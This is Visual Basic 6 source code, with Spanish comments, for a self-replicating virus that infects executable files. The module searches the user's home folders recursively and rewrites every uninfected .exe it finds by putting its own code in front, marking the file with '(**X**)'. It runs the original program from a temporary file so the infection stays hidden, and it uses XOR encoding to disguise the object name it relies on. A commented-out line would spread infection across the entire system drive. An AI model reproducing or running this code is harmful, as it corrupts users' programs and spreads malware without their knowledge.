Attribute VB_Name = "Exepropaguer"


Function SelfCheck()
    On Error Resume Next

    Dim MyCode As String
 
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
 
    'Separa "MyCode" buscando la marca de infección (**X**)
    Buffer = Split(MyCode, "(**X**)")
 
    If UBound(Buffer) = 1 Then
        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
        Hostage = Buffer(1)
        DivideFiles Hostage
    Else
        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
        Subfolders (Environ$("HomeDrive") & Environ$("HomePath") & "\")
        DoEvents
    End If
End Function
 
Function DivideFiles(ByVal Hostage As String)
    Randomize
    On Error Resume Next
    Dim TmpFile As String
 
    'Crea un archivo temporal con el código del Huésped, por ejemplo:
    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
 
    Open TmpFile For Binary As #2
        Put #2, , Hostage
    Close #2
 
    'DoEvents
    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
    Shell TmpFile, vbNormalFocus
    Call ExecPayload
End Function
 
Function InfectFile(ByVal Victim As String)
    On Error Resume Next
    Dim VictimCode As String
    Dim NewCode As String
    Dim MyCode As String
 
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
 
    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
    Open Victim For Binary As #1
        VictimCode = Input(LOF(1), 1)
    Close #1
 
    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
    NewCode = MyCode & "(**X**)" & VictimCode
 
    'Sobrescribe el archivo Huésed con el infectado
    Open Victim For Binary As #1
        Put #1, , NewCode
    Close #1
End Function
 
Function IsInfected(ByVal File As String) As Boolean
    On Error Resume Next
    Dim FileCode As String
 
    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
    Open File For Binary As #1
        FileCode = Input(LOF(1), 1)
    Close #1
 
    'Separa "FileCode" buscando la marca de infección (**X**)
    Buffer = Split(FileCode, "(**X**)")
 
    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
    If UBound(Buffer) <> 0 Then
        IsInfected = True
    Else
        IsInfected = False
    End If
End Function
 
Function Subfolders(Path)
    On Error Resume Next
    'Se cifra el string que carga el objeto Scripting.FileSystemObject
    Set Fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
    Set Drives = Fso.Drives
 
    newpath = Path
    Set Fold = Fso.GetFolder(newpath)
    Set Files = Fold.Files
 
    For Each File In Files
        Sleep (100)
        ext = Fso.GetExtensionName(File.Path)
        ext = LCase(ext)
        nam = LCase(File.Name)
        If (ext = "exe") Then
            If IsInfected(File.Path) = False Then
                InfectFile (File.Path)
                DoEvents
            End If
        End If
    Next
 
    Set File = Fold.Subfolders
    For Each Subfol In File
        Call Subfolders(Subfol.Path)
    Next
End Function
 
Function ExecPayload()
    '#######################################################
    '##  Si quieres que los archivos infectados ejecuten  ##
    '##  la función de buscar e infectar nuevos archivos  ##
    '##  elimina los comentario que hay a continuación    ##
    '#######################################################
    If PrevInstance(mut) = True Then
    '    Subfolders (Environ("SystemDrive") & "\")
        End
    End If
    If App.PrevInstance = True Then
        End
    End If
    
    End Function

Function bullet(FullCode)
    'Funcion que cifra Strings con el operador XOR
    
    For i = 1 To Len(FullCode)
        Current = Mid(FullCode, i, 1)
        Code = Chr(Asc(Current) Xor 2)
        bullet = bullet + Code
    Next
End Function



